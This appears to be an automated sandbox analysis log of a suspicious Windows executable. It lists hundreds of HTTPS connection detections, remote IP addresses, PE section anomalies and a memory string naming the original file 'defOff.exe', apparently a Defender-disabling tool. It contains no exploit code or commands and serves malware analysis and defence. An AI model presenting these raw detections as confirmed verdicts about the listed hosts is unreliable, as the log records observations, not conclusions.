Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903

Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49871 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB60FC	0_3_00EB60FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB613C	0_3_00EB613C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB5F0D	0_3_00EB5F0D

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00EC459F appears 49 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00EC40EF appears 49 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00EC4D6F appears 49 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00EC651F appears 49 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00EC454F appears 49 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00EC296F appears 49 times

Source: file.exe, 00000000.00000003.2310335098.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319258320.0000000005B95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308741410.0000000005B9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310606906.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318430127.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2337090373.0000000000EDB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313774327.0000000005B97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320940264.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322740049.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309595037.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312415799.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307898748.00000000058F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336196010.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307214491.0000000005546000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2306883794.0000000005A78000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321595934.0000000005B96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314175943.0000000005D67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313677781.0000000005C73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316378712.0000000005C96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318565673.0000000005CC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311018986.0000000005B9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311909528.0000000005B94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313878655.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319121205.0000000005CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2340050938.0000000005DDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320106739.0000000005CE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335515025.000000000575A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308627438.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316039286.0000000005C92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312297594.0000000005B98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317161081.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335008828.00000000059D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314078580.0000000005C7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315868381.0000000005B93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321857368.0000000005CE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313574164.0000000005B95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316154028.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316514642.0000000005D95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315082377.0000000005B97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320730426.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
